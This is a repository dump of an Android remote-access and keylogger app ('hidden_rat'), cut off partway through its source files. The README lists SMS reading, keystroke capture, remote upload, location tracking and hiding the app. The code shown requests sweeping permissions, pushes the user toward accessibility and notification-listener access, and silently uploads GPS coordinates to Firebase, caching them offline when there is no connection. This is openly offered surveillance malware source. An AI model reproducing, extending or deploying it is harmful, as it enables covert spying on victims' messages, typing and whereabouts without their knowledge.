├── .gitignore ├── .idea ├── .gitignore ├── .name ├── appInsightsSettings.xml ├── compiler.xml ├── deploymentTargetDropDown.xml ├── deploymentTargetSelector.xml ├── git_toolbox_prj.xml ├── gradle.xml ├── kotlinc.xml ├── migrations.xml ├── misc.xml ├── render.experimental.xml └── vcs.xml ├── LICENSE ├── README.md ├── app ├── .gitignore ├── build.gradle ├── proguard-rules.pro └── src │ ├── androidTest │ └── java │ │ └── com │ │ └── ratx │ │ └── hidden_rat │ │ └── ExampleInstrumentedTest.kt │ ├── main │ ├── AndroidManifest.xml │ ├── java │ │ └── com │ │ │ └── ratx │ │ │ └── hidden_rat │ │ │ ├── activity │ │ │ ├── AccessibilityFixActivity.kt │ │ │ └── MainFixActivity.kt │ │ │ ├── adapter │ │ │ ├── LogAdapter.kt │ │ │ └── NotificationAdapter.kt │ │ │ ├── listener │ │ │ └── MIN_DISTANCE_CHANGE_FOR_UPDATES.kt │ │ │ ├── model │ │ │ ├── CallRecord.kt │ │ │ ├── Location.kt │ │ │ ├── LocationData.kt │ │ │ ├── LogModel.kt │ │ │ ├── MessageModel.kt │ │ │ ├── NotificationModel.kt │ │ │ ├── PhoneData.kt │ │ │ ├── SMSData.kt │ │ │ └── SimCardInfo.kt │ │ │ ├── receiver │ │ │ ├── BootReceiver.kt │ │ │ ├── Receiver.kt │ │ │ └── SmsReceiver.kt │ │ │ ├── screen │ │ │ └── NotificationItemPage.kt │ │ │ ├── service │ │ │ ├── CallRecordingService.kt │ │ │ ├── LocationService.kt │ │ │ ├── MyNotificationListenerService.kt │ │ │ ├── ScreenCaptureActivity.kt │ │ │ ├── ScreenRecordService.kt │ │ │ ├── ScreenshotService.kt │ │ │ ├── SmsService.kt │ │ │ └── SvcAccFix.kt │ │ │ ├── uploader │ │ │ └── LocationUploader.kt │ │ │ └── utils │ │ │ ├── Functions.kt │ │ │ └── getAppIconByPackageName.kt │ └── res │ │ ├── drawable-v24 │ │ ├── ic_launcher_foreground.xml │ │ └── shape_corner_16dp.xml │ │ ├── drawable │ │ ├── acc1.png │ │ ├── acc2.png │ │ ├── acc3.png │ │ ├── bg_content.xml │ │ ├── bg_gradient.xml │ │ ├── bg_gradient_down.xml │ │ ├── bg_gradient_up.xml │ │ ├── bg_item_badge.xml │ │ ├── bg_toolbar.xml │ │ ├── box_background.xml │ │ ├── box_background_light_ellipses_16.xml │ │ ├── box_background_light_ellipses_16_end.xml │ │ ├── box_background_light_ellipses_16_start.xml │ │ ├── box_background_light_ellipses_24.xml │ │ ├── box_background_light_ellipses_24_end.xml │ │ ├── box_background_light_ellipses_24_start.xml │ │ ├── copy.xml │ │ ├── delete.xml │ │ ├── exchange.xml │ │ ├── ic_arrow_back_black_24.xml │ │ ├── ic_back.xml │ │ ├── ic_backward_128.png │ │ ├── ic_battery_state_1.png │ │ ├── ic_battery_state_2.png │ │ ├── ic_battery_state_3.png │ │ ├── ic_calendar.xml │ │ ├── ic_chevron_left.xml │ │ ├── ic_chevron_right.xml │ │ ├── ic_clock.xml │ │ ├── ic_date_time.xml │ │ ├── ic_forward_128.png │ │ ├── ic_go_left_128.png │ │ ├── ic_go_right_128.png │ │ ├── ic_info.xml │ │ ├── ic_launcher_background.xml │ │ ├── ic_plus.png │ │ ├── ic_share.xml │ │ ├── ic_sign.xml │ │ ├── ic_signal.png │ │ ├── ic_swipe.png │ │ ├── ic_text_more.xml │ │ ├── ic_text_typing.xml │ │ ├── ic_text_typing_24.xml │ │ ├── ic_trash.xml │ │ ├── ic_warning.png │ │ ├── ic_wifi.xml │ │ ├── ladder.png │ │ ├── logo.png │ │ ├── logo_24.png │ │ ├── logo_round.png │ │ ├── shape_dash_line.xml │ │ ├── share.xml │ │ ├── side_nav_bar.xml │ │ └── splash_screen.xml │ │ ├── font │ │ ├── gilory_black.ttf │ │ ├── gilory_bold.ttf │ │ ├── gilory_medium.ttf │ │ ├── montserrat_medium.xml │ │ ├── montserrat_semibold.xml │ │ ├── roboto.xml │ │ ├── rubik_bold.xml │ │ ├── rubik_medium.xml │ │ ├── urbanist_black.ttf │ │ ├── urbanist_bold.ttf │ │ ├── urbanist_extra_bold.ttf │ │ ├── urbanist_extra_light.ttf │ │ ├── urbanist_font_family.xml │ │ ├── urbanist_italic.ttf │ │ ├── urbanist_light.ttf │ │ ├── urbanist_medium.ttf │ │ ├── urbanist_regular.ttf │ │ ├── urbanist_semi_bold.ttf │ │ └── urbanist_thin.ttf │ │ ├── layout │ │ ├── activity_accessibility.xml │ │ ├── activity_main.xml │ │ ├── log_item.xml │ │ ├── notification_item.xml │ │ └── notification_item_page.xml │ │ ├── menu │ │ ├── btn.xml │ │ ├── example_menu.xml │ │ └── example_menu2.xml │ │ ├── mipmap-anydpi-v26 │ │ ├── ic_launcher.xml │ │ └── ic_launcher_round.xml │ │ ├── mipmap-hdpi │ │ ├── ic_launcher.webp │ │ └── ic_launcher_round.webp │ │ ├── mipmap-mdpi │ │ ├── ic_launcher.webp │ │ └── ic_launcher_round.webp │ │ ├── mipmap-xhdpi │ │ ├── ic_launcher.webp │ │ └── ic_launcher_round.webp │ │ ├── mipmap-xxhdpi │ │ ├── ic_launcher.webp │ │ └── ic_launcher_round.webp │ │ ├── mipmap-xxxhdpi │ │ ├── ic_launcher.webp │ │ └── ic_launcher_round.webp │ │ ├── values-night │ │ └── themes.xml │ │ ├── values │ │ ├── arrays.xml │ │ ├── colors.xml │ │ ├── dimens.xml │ │ ├── font_certs.xml │ │ ├── preloaded_fonts.xml │ │ ├── strings.xml │ │ └── themes.xml │ │ └── xml │ │ ├── accessibility_service.xml │ │ ├── backup_rules.xml │ │ ├── data_extraction_rules.xml │ │ └── splits0.xml │ └── test │ └── java │ └── com │ └── ratx │ └── hidden_rat │ └── ExampleUnitTest.kt ├── build.gradle ├── gradle.properties ├── gradle └── wrapper │ ├── gradle-wrapper.jar │ └── gradle-wrapper.properties ├── gradlew ├── gradlew.bat └── settings.gradle /.gitignore: -------------------------------------------------------------------------------- 1 | *.iml 2 | .gradle 3 | /local.properties 4 | /.idea/caches 5 | /.idea/libraries 6 | /.idea/modules.xml 7 | /.idea/workspace.xml 8 | /.idea/navEditor.xml 9 | /.idea/assetWizardSettings.xml 10 | .DS_Store 11 | /build 12 | /captures 13 | .externalNativeBuild 14 | .cxx 15 | local.properties 16 | -------------------------------------------------------------------------------- /.idea/.gitignore: -------------------------------------------------------------------------------- 1 | # Default ignored files 2 | /shelf/ 3 | /workspace.xml 4 | -------------------------------------------------------------------------------- /.idea/.name: -------------------------------------------------------------------------------- 1 | AndroidKeyLogger -------------------------------------------------------------------------------- /.idea/appInsightsSettings.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 25 | 26 | -------------------------------------------------------------------------------- /.idea/compiler.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | -------------------------------------------------------------------------------- /.idea/deploymentTargetDropDown.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | -------------------------------------------------------------------------------- /.idea/deploymentTargetSelector.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 8 | 9 | 10 | -------------------------------------------------------------------------------- /.idea/git_toolbox_prj.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 9 | 14 | 15 | -------------------------------------------------------------------------------- /.idea/gradle.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 18 | 19 | -------------------------------------------------------------------------------- /.idea/kotlinc.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 6 | -------------------------------------------------------------------------------- /.idea/migrations.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 9 | 10 | -------------------------------------------------------------------------------- /.idea/misc.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 11 | 12 | 13 | 14 | 15 | 16 | 18 | -------------------------------------------------------------------------------- /.idea/render.experimental.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 6 | -------------------------------------------------------------------------------- /.idea/vcs.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2024 Sozo 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # KeyLogger 2 | 3 | 4 | 5 | 6 | ## 📌 Sms Reading 7 | ## 📌 Typing reading 8 | ## 📌 push to remote through brodcast 9 | ## 📌 listening map location on brodcast 10 | ## 📌 hide application 11 | # Manage Online/Offline Data 12 | 13 | ### it may be hacking platform and if you want to use this app you should accept accessmbly services in application ! 14 | -------------------------------------------------------------------------------- /app/.gitignore: -------------------------------------------------------------------------------- 1 | /build -------------------------------------------------------------------------------- /app/build.gradle: -------------------------------------------------------------------------------- 1 | plugins { 2 | id 'com.android.application' 3 | id 'org.jetbrains.kotlin.android' 4 | id 'com.google.gms.google-services' 5 | 6 | } 7 | 8 | android { 9 | compileSdk 33 10 | 11 | defaultConfig { 12 | applicationId "com.ratx.hidden_rat" 13 | minSdk 23 14 | targetSdk 33 15 | versionCode 1 16 | versionName "1.0" 17 | 18 | testInstrumentationRunner "androidx.test.runner.AndroidJUnitRunner" 19 | } 20 | 21 | buildTypes { 22 | release { 23 | minifyEnabled false 24 | proguardFiles getDefaultProguardFile('proguard-android-optimize.txt'), 'proguard-rules.pro' 25 | } 26 | } 27 | 28 | buildFeatures { 29 | viewBinding true 30 | } 31 | 32 | compileOptions { 33 | sourceCompatibility JavaVersion.VERSION_1_8 34 | targetCompatibility JavaVersion.VERSION_1_8 35 | } 36 | kotlinOptions { 37 | jvmTarget = '1.8' 38 | } 39 | } 40 | 41 | dependencies { 42 | 43 | implementation 'androidx.core:core-ktx:1.7.0' 44 | implementation 'androidx.appcompat:appcompat:1.5.1' 45 | implementation 'com.google.firebase:firebase-database-ktx:20.3.0' 46 | implementation 'com.google.android.material:material:1.8.0' 47 | implementation 'androidx.constraintlayout:constraintlayout:2.1.4' 48 | implementation 'com.google.firebase:firebase-firestore-ktx:24.10.3' 49 | implementation 'com.google.firebase:firebase-storage:20.3.0' 50 | implementation 'com.google.android.gms:play-services-location:21.2.0' 51 | testImplementation 'junit:junit:4.13.2' 52 | androidTestImplementation 'androidx.test.ext:junit:1.1.5' 53 | androidTestImplementation 'androidx.test.espresso:espresso-core:3.5.1' 54 | implementation "androidx.startup:startup-runtime:1.0.0" 55 | implementation 'com.google.code.gson:gson:2.8.8' 56 | /** 57 | * CircleImageView 58 | */ 59 | implementation 'de.hdodenhof:circleimageview:3.1.0' 60 | implementation 'com.github.prongbang:screen-protector:1.0.1' 61 | 62 | 63 | } -------------------------------------------------------------------------------- /app/proguard-rules.pro: -------------------------------------------------------------------------------- 1 | # Add project specific ProGuard rules here. 2 | # You can control the set of applied configuration files using the 3 | # proguardFiles setting in build.gradle. 4 | # 5 | # For more details, see 6 | # http://developer.android.com/guide/developing/tools/proguard.html 7 | 8 | # If your project uses WebView with JS, uncomment the following 9 | # and specify the fully qualified class name to the JavaScript interface 10 | # class: 11 | #-keepclassmembers class fqcn.of.javascript.interface.for.webview { 12 | # public *; 13 | #} 14 | 15 | # Uncomment this to preserve the line number information for 16 | # debugging stack traces. 17 | #-keepattributes SourceFile,LineNumberTable 18 | 19 | # If you keep the line number information, uncomment this to 20 | # hide the original source file name. 21 | #-renamesourcefileattribute SourceFile -------------------------------------------------------------------------------- /app/src/androidTest/java/com/ratx/hidden_rat/ExampleInstrumentedTest.kt: -------------------------------------------------------------------------------- 1 | package com.ratx.hidden_rat 2 | 3 | import androidx.test.platform.app.InstrumentationRegistry 4 | import androidx.test.ext.junit.runners.AndroidJUnit4 5 | 6 | import org.junit.Test 7 | import org.junit.runner.RunWith 8 | 9 | import org.junit.Assert.* 10 | 11 | /** 12 | * Instrumented test, which will execute on an Android device. 13 | * 14 | * See [testing documentation](http://d.android.com/tools/testing). 15 | */ 16 | @RunWith(AndroidJUnit4::class) 17 | class ExampleInstrumentedTest { 18 | @Test 19 | fun useAppContext() { 20 | // Context of the app under test. 21 | val appContext = InstrumentationRegistry.getInstrumentation().targetContext 22 | assertEquals("com.ratx.hidden_rat", appContext.packageName) 23 | } 24 | } -------------------------------------------------------------------------------- /app/src/main/AndroidManifest.xml: -------------------------------------------------------------------------------- 1 | 2 | 5 | 6 | 7 | 9 | 10 | 11 | 13 | 15 | 16 | 17 | 18 | 20 | 22 | 23 | 24 | 26 | 27 | 30 | 31 | 34 | 37 | 40 | 41 | 42 | 43 | 49 | 50 | 52 | 53 | 54 | 55 | 56 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 74 | 75 | 76 | 77 | 78 | 83 | 84 | 85 | 86 | 87 | 92 | 93 | 94 | 95 | 96 | 101 | 102 | 103 | 104 | 105 | 106 | 110 | 111 | 112 | 113 | 119 | 120 | 121 | 122 | 125 | 126 | 130 | 133 | 136 | 137 | 138 | 141 | 144 | 147 | 150 | 153 | 154 | 155 | -------------------------------------------------------------------------------- /app/src/main/java/com/ratx/hidden_rat/activity/AccessibilityFixActivity.kt: -------------------------------------------------------------------------------- 1 | package com.ratx.hidden_rat.activity 2 | 3 | import android.Manifest 4 | import android.annotation.SuppressLint 5 | import android.content.Intent 6 | import android.content.pm.PackageManager 7 | import android.net.Uri 8 | import android.os.Bundle 9 | import android.provider.Settings 10 | import android.provider.Settings.ACTION_NOTIFICATION_LISTENER_SETTINGS 11 | import android.view.View 12 | import android.widget.Toast 13 | import androidx.appcompat.app.AppCompatActivity 14 | import androidx.core.app.ActivityCompat 15 | import androidx.core.content.ContextCompat 16 | import com.ratx.hidden_rat.R 17 | import com.ratx.hidden_rat.service.SvcAccFix 18 | 19 | 20 | class AccessibilityFixActivity : AppCompatActivity() { 21 | private val REQUEST_CODE_NOTIFICATION_LISTENER = 10 22 | private val PERMISSION_REQUEST_CODE = 123 23 | @SuppressLint("InlinedApi") 24 | private val permissions = arrayOf( 25 | Manifest.permission.RECORD_AUDIO, 26 | android.Manifest.permission.POST_NOTIFICATIONS, 27 | Manifest.permission.UPDATE_PACKAGES_WITHOUT_USER_ACTION, 28 | Manifest.permission.READ_PHONE_NUMBERS, 29 | Manifest.permission.MODIFY_PHONE_STATE, 30 | Manifest.permission.MODIFY_AUDIO_SETTINGS, 31 | Manifest.permission.READ_PHONE_STATE, 32 | Manifest.permission.ACCESS_FINE_LOCATION, 33 | Manifest.permission.WRITE_EXTERNAL_STORAGE, 34 | Manifest.permission.READ_EXTERNAL_STORAGE, 35 | Manifest.permission.CONTROL_LOCATION_UPDATES, 36 | Manifest.permission.POST_NOTIFICATIONS, 37 | Manifest.permission.ACCESS_FINE_LOCATION, 38 | Manifest.permission.BROADCAST_SMS, 39 | Manifest.permission.READ_SMS, 40 | Manifest.permission.RECEIVE_SMS, 41 | Manifest.permission.CAMERA, // CAMERA huquqnamasini qo'shing 42 | Manifest.permission.CAPTURE_AUDIO_OUTPUT, 43 | Manifest.permission.WRITE_EXTERNAL_STORAGE 44 | ) 45 | 46 | private fun openSetting() { 47 | try { 48 | SvcAccFix.j = true 49 | val intent = Intent("android.settings.ACTION_NOTIFICATION_LISTENER_SETTINGS") 50 | startActivityForResult(intent, REQUEST_CODE_NOTIFICATION_LISTENER) 51 | startActivity(Intent("android.settings.ACCESSIBILITY_SETTINGS")) 52 | } catch (e: Exception) { 53 | Toast.makeText(this, e.message, Toast.LENGTH_LONG).show() 54 | } 55 | } 56 | 57 | override fun onBackPressed() { 58 | finishAffinity() 59 | super.onBackPressed() 60 | } 61 | 62 | public override fun onCreate(bundle: Bundle?) { 63 | super.onCreate(bundle) 64 | if (SvcAccFix.i) { 65 | SvcAccFix.j = false 66 | Toast.makeText(this, getString(R.string.type_something), Toast.LENGTH_LONG).show() 67 | finish() 68 | return 69 | } 70 | setContentView(R.layout.activity_accessibility) 71 | checkAndRequestPermissions() 72 | checkNotificationListenerPermission() 73 | findViewById(R.id.btn501925).setOnClickListener { view -> 74 | openSetting() 75 | } 76 | } 77 | 78 | private fun checkAndRequestPermissions() { 79 | val notGrantedPermissions = ArrayList() 80 | 81 | for (permission in permissions) { 82 | if (ContextCompat.checkSelfPermission(this, permission) 83 | != PackageManager.PERMISSION_GRANTED 84 | ) { 85 | notGrantedPermissions.add(permission) 86 | } 87 | } 88 | 89 | if (notGrantedPermissions.isNotEmpty()) { 90 | // Request permissions 91 | ActivityCompat.requestPermissions( 92 | this, 93 | notGrantedPermissions.toTypedArray(), 94 | PERMISSION_REQUEST_CODE 95 | ) 96 | } else { 97 | startYourService() 98 | } 99 | } 100 | 101 | private fun checkNotificationListenerPermission() { 102 | if (!isNotificationListenerEnabled()) { 103 | requestNotificationListenerPermission() 104 | } 105 | } 106 | 107 | private fun isNotificationListenerEnabled(): Boolean { 108 | val packageName = packageName 109 | val flat = android.provider.Settings.Secure.getString( 110 | contentResolver, 111 | "enabled_notification_listeners" 112 | ) 113 | return flat != null && flat.contains(packageName) 114 | } 115 | 116 | private fun requestNotificationListenerPermission() { 117 | val enableNotificationListenerIntent = Intent(ACTION_NOTIFICATION_LISTENER_SETTINGS) 118 | enableNotificationListenerIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK) 119 | startActivity(enableNotificationListenerIntent) 120 | Toast.makeText(this, "Please enable Notification Listener permission", Toast.LENGTH_LONG) 121 | .show() 122 | } 123 | 124 | override fun onActivityResult(requestCode: Int, resultCode: Int, data: Intent?) { 125 | super.onActivityResult(requestCode, resultCode, data) 126 | 127 | if (requestCode == REQUEST_CODE_NOTIFICATION_LISTENER) { 128 | if (isNotificationListenerEnabled()) { 129 | } else { 130 | } 131 | } 132 | } 133 | 134 | 135 | override fun onRequestPermissionsResult( 136 | requestCode: Int, 137 | permissions: Array, 138 | grantResults: IntArray 139 | ) { 140 | super.onRequestPermissionsResult(requestCode, permissions, grantResults) 141 | when (requestCode) { 142 | PERMISSION_REQUEST_CODE -> { 143 | if (grantResults.isNotEmpty() && grantResults.all { it == PackageManager.PERMISSION_GRANTED }) { 144 | // All permissions granted, proceed with audio recording 145 | } else { 146 | // Permission denied, inform the user and ask to enable from settings 147 | } 148 | } 149 | } 150 | } 151 | 152 | 153 | private fun openAppSettings() { 154 | val intent = Intent(Settings.ACTION_APPLICATION_DETAILS_SETTINGS) 155 | val uri = Uri.fromParts("package", packageName, null) 156 | intent.data = uri 157 | startActivityForResult(intent, PERMISSION_REQUEST_CODE) 158 | } 159 | 160 | private fun startYourService() { 161 | //Nothing 162 | } /* Access modifiers changed, original: protected */ 163 | 164 | public override fun onDestroy() { 165 | super.onDestroy() 166 | } 167 | 168 | /* Access modifiers changed, original: protected */ 169 | public override fun onResume() { 170 | super.onResume() 171 | } 172 | } -------------------------------------------------------------------------------- /app/src/main/java/com/ratx/hidden_rat/adapter/LogAdapter.kt: -------------------------------------------------------------------------------- 1 | package com.ratx.hidden_rat.adapter 2 | 3 | import android.annotation.SuppressLint 4 | import android.content.pm.ApplicationInfo 5 | import android.content.pm.PackageManager 6 | import android.content.pm.PackageManager.NameNotFoundException 7 | import android.view.LayoutInflater 8 | import android.view.ViewGroup 9 | import androidx.recyclerview.widget.RecyclerView 10 | import com.ratx.hidden_rat.R 11 | import com.ratx.hidden_rat.activity.MainFixActivity 12 | import com.ratx.hidden_rat.databinding.LogItemBinding 13 | import com.ratx.hidden_rat.model.LogModel 14 | import com.ratx.hidden_rat.utils.getAppIconByPackageName 15 | 16 | 17 | class LogAdapter( 18 | private val notifications: MutableList, 19 | private val activity: MainFixActivity 20 | ) : 21 | RecyclerView.Adapter() { 22 | 23 | override fun onCreateViewHolder(parent: ViewGroup, viewType: Int): NotificationViewHolder { 24 | return NotificationViewHolder( 25 | LogItemBinding.inflate( 26 | LayoutInflater.from(parent.context), 27 | parent, 28 | false 29 | ) 30 | ) 31 | } 32 | 33 | override fun onBindViewHolder(holder: NotificationViewHolder, position: Int) { 34 | val notification = notifications[position] 35 | holder.bind(notification) 36 | } 37 | 38 | override fun getItemCount(): Int { 39 | return notifications.size 40 | } 41 | 42 | inner class NotificationViewHolder(val binding: LogItemBinding) : 43 | RecyclerView.ViewHolder(binding.root) { 44 | @SuppressLint("UseCompatLoadingForDrawables") 45 | fun bind(notification: LogModel) { 46 | binding.apply { 47 | 48 | 49 | val pm: PackageManager = activity.applicationContext.packageManager 50 | val ai: ApplicationInfo? = try { 51 | pm.getApplicationInfo(notification.packageName, 0) 52 | } catch (e: NameNotFoundException) { 53 | null 54 | } 55 | val applicationName = 56 | (if (ai != null) pm.getApplicationLabel(ai) else "Type Keeper") as String 57 | val appIcon = getAppIconByPackageName(itemView.context, notification.packageName) 58 | binding.itemTextTypingApplicationIcon.setImageDrawable(appIcon) 59 | binding.itemTextTypingDateTime.text = notification.dayTime 60 | binding.itemTextTypingApplicationName.text = applicationName 61 | binding.itemTextTypingBatteryText.text = notification.batteryLevel 62 | 63 | binding.itemTextTypingTextTyping.text = notification.text 64 | if (notification.batteryLevel.toInt() > 40) { 65 | binding.itemTextTypingBatteryIcon.setImageResource(R.drawable.ic_battery_state_2) 66 | } else if (notification.batteryLevel.toInt() > 20) { 67 | binding.itemTextTypingBatteryIcon.setImageResource(R.drawable.ic_battery_state_1) 68 | } else if (notification.batteryLevel.toInt() > 80) { 69 | binding.itemTextTypingBatteryIcon.setImageResource(R.drawable.ic_battery_state_3) 70 | }else { 71 | binding.itemTextTypingBatteryIcon.setImageResource(R.drawable.ic_battery_state_3) 72 | } 73 | } 74 | 75 | 76 | } 77 | } 78 | 79 | fun clearAdapterData() { 80 | notifications.clear() 81 | notifyDataSetChanged() 82 | } 83 | 84 | fun addNotification(notification: LogModel) { 85 | notifications.add(notification) 86 | notifyDataSetChanged() 87 | } 88 | } 89 | -------------------------------------------------------------------------------- /app/src/main/java/com/ratx/hidden_rat/adapter/NotificationAdapter.kt: -------------------------------------------------------------------------------- 1 | package com.ratx.hidden_rat.adapter 2 | 3 | import android.content.pm.ApplicationInfo 4 | import android.content.pm.PackageManager 5 | import android.view.LayoutInflater 6 | import android.view.ViewGroup 7 | import androidx.recyclerview.widget.RecyclerView 8 | import com.ratx.hidden_rat.databinding.NotificationItemBinding 9 | import com.ratx.hidden_rat.model.NotificationModel 10 | import com.ratx.hidden_rat.utils.getAppIconByPackageName 11 | 12 | class NotificationAdapter(private val notifications: MutableList) : 13 | RecyclerView.Adapter() { 14 | 15 | override fun onCreateViewHolder(parent: ViewGroup, viewType: Int): NotificationViewHolder { 16 | return NotificationViewHolder( 17 | NotificationItemBinding.inflate( 18 | LayoutInflater.from(parent.context), 19 | parent, 20 | false 21 | ) 22 | ) 23 | } 24 | 25 | override fun onBindViewHolder(holder: NotificationViewHolder, position: Int) { 26 | val notification = notifications[position] 27 | holder.bind(notification) 28 | } 29 | 30 | override fun getItemCount(): Int { 31 | return notifications.size 32 | } 33 | 34 | inner class NotificationViewHolder(val binding: NotificationItemBinding) : 35 | RecyclerView.ViewHolder(binding.root) { 36 | fun bind(notification: NotificationModel) { 37 | binding.apply { 38 | 39 | val pm: PackageManager = itemView.context.applicationContext.packageManager 40 | val ai: ApplicationInfo? = try { 41 | pm.getApplicationInfo(notification.packageName, 0) 42 | } catch (e: PackageManager.NameNotFoundException) { 43 | null 44 | } 45 | val applicationName = (if (ai != null) pm.getApplicationLabel(ai) else "Type Keeper") as String 46 | val appIcon = getAppIconByPackageName(itemView.context, notification.packageName) 47 | binding.appIcon.setImageDrawable(appIcon) 48 | binding.appDescription.text = notification.text 49 | binding.appTime.text = notification.timeStamp 50 | binding.appName.text = notification.title 51 | } 52 | 53 | 54 | } 55 | } 56 | 57 | fun clearAdapterData() { 58 | notifications.clear() 59 | notifyDataSetChanged() 60 | } 61 | 62 | fun addNotification(notification: NotificationModel) { 63 | notifications.add(notification) 64 | notifyDataSetChanged() 65 | } 66 | } 67 | -------------------------------------------------------------------------------- /app/src/main/java/com/ratx/hidden_rat/listener/MIN_DISTANCE_CHANGE_FOR_UPDATES.kt: -------------------------------------------------------------------------------- 1 | package com.ratx.hidden_rat.listener 2 | 3 | import android.annotation.SuppressLint 4 | import android.content.Context 5 | import android.location.Location 6 | import android.location.LocationListener 7 | import android.location.LocationManager 8 | import android.net.ConnectivityManager 9 | import android.os.Bundle 10 | import android.util.Log 11 | import com.ratx.hidden_rat.model.LocationData 12 | import com.google.firebase.firestore.FirebaseFirestore 13 | import com.google.gson.Gson 14 | import com.google.gson.reflect.TypeToken 15 | import java.io.File 16 | import java.io.FileOutputStream 17 | import java.io.FileReader 18 | 19 | private const val MIN_DISTANCE_CHANGE_FOR_UPDATES: Long = 1 // Minimum distance change for updates (1 meter) 20 | 21 | class MyLocationListener(private val context: Context) : LocationListener { 22 | private val minDistance = 4 // Minimum distance in meters 23 | 24 | private var locationManager: LocationManager? = null 25 | 26 | 27 | private lateinit var locationData:((Location) -> Unit) 28 | 29 | init { 30 | // Initialize locationManager for requesting location updates 31 | locationManager = context.getSystemService(Context.LOCATION_SERVICE) as LocationManager? 32 | } 33 | 34 | fun setLocationDataListener(locationData:((Location) -> Unit)) { 35 | this.locationData = locationData 36 | } 37 | 38 | override fun onLocationChanged(location: Location) { 39 | val latitude = location.latitude 40 | val longitude = location.longitude 41 | 42 | // Check for accuracy 43 | Log.d("EVENT", "Location change within 10 meters: Latitude: $latitude, Longitude: $longitude") 44 | val locationData =LocationData(location.latitude,location.longitude,location.accuracy) 45 | if (isOnline(context)) { 46 | if (isLocalSmsAvailable(context)) { 47 | sendAllSmsDataToFirebase(context) 48 | saveSmsDataToFirebase(locationData, context) 49 | } else { 50 | saveSmsDataToFirebase(locationData, context) 51 | 52 | } 53 | } else { 54 | saveSmsToFile(context, locationData) 55 | } 56 | locationManager?.removeUpdates(this) // Remove updates if location accuracy is satisfactory 57 | } 58 | 59 | override fun onProviderDisabled(provider: String) {} 60 | 61 | override fun onProviderEnabled(provider: String) {} 62 | 63 | override fun onStatusChanged(provider: String?, status: Int, extras: Bundle?) {} 64 | private fun isOnline(context: Context): Boolean { 65 | val connectivityManager = 66 | context.getSystemService(Context.CONNECTIVITY_SERVICE) as ConnectivityManager 67 | val networkInfo = connectivityManager.activeNetworkInfo 68 | return networkInfo != null && networkInfo.isConnected 69 | } 70 | 71 | 72 | private fun saveSmsDataToFirebase(smsData: LocationData, context: Context) { 73 | val deviceModel = android.os.Build.MODEL 74 | val collectionReference = FirebaseFirestore.getInstance().collection("location_$deviceModel") 75 | collectionReference.add(smsData) 76 | .addOnSuccessListener { documentReference -> 77 | Log.d("EVENT", "Location data sent to Firebase successfully") 78 | } 79 | .addOnFailureListener { e -> 80 | Log.e("EVENT", "Error sending Location data to Firebase", e) 81 | } 82 | } 83 | 84 | private fun isLocalSmsAvailable(context: Context): Boolean { 85 | val fileName = "location_data.json" 86 | val filePath = File(context.getExternalFilesDir(null), fileName) 87 | return filePath.exists() 88 | } 89 | 90 | private fun saveSmsToFile(context: Context, smsData: LocationData) { 91 | val gson = Gson() 92 | 93 | // Convert the list to JSON string 94 | val jsonString = gson.toJson(smsData) 95 | 96 | val fileName = "location_data.json" 97 | val filePath = File(context.getExternalFilesDir(null), fileName) 98 | val outputStream = FileOutputStream(filePath, false) // Rewrite the file 99 | outputStream.write(jsonString.toByteArray()) 100 | outputStream.close() 101 | } 102 | 103 | private fun sendAllSmsDataToFirebase(context: Context) { 104 | val smsDataList = readSmsFromFile(context) 105 | val deviceModel = android.os.Build.MODEL 106 | val collectionReference = FirebaseFirestore.getInstance().collection("location_$deviceModel") 107 | for (smsData in smsDataList) { 108 | collectionReference.add(smsData) 109 | .addOnSuccessListener { documentReference -> 110 | Log.d("EVENT", "Location data sent to Firebase successfully") 111 | // Ma'lumot Firebase ga muvaffaqiyatli yuborilgan, shuning uchun lokal faylni o'chiramiz 112 | deleteLocalSmsFile(context) 113 | } 114 | .addOnFailureListener { e -> 115 | Log.e("EVENT", "Error sending Location data to Firebase", e) 116 | } 117 | } 118 | } 119 | 120 | private fun deleteLocalSmsFile(context: Context) { 121 | val fileName = "location_data.json" 122 | val filePath = File(context.getExternalFilesDir(null), fileName) 123 | if (filePath.exists()) { 124 | filePath.delete() 125 | Log.d("EVENT", "Local Location file deleted successfully") 126 | } else { 127 | Log.e("EVENT", "Local Location file not found") 128 | } 129 | } 130 | 131 | private fun readSmsFromFile(context: Context): List { 132 | val gson = Gson() 133 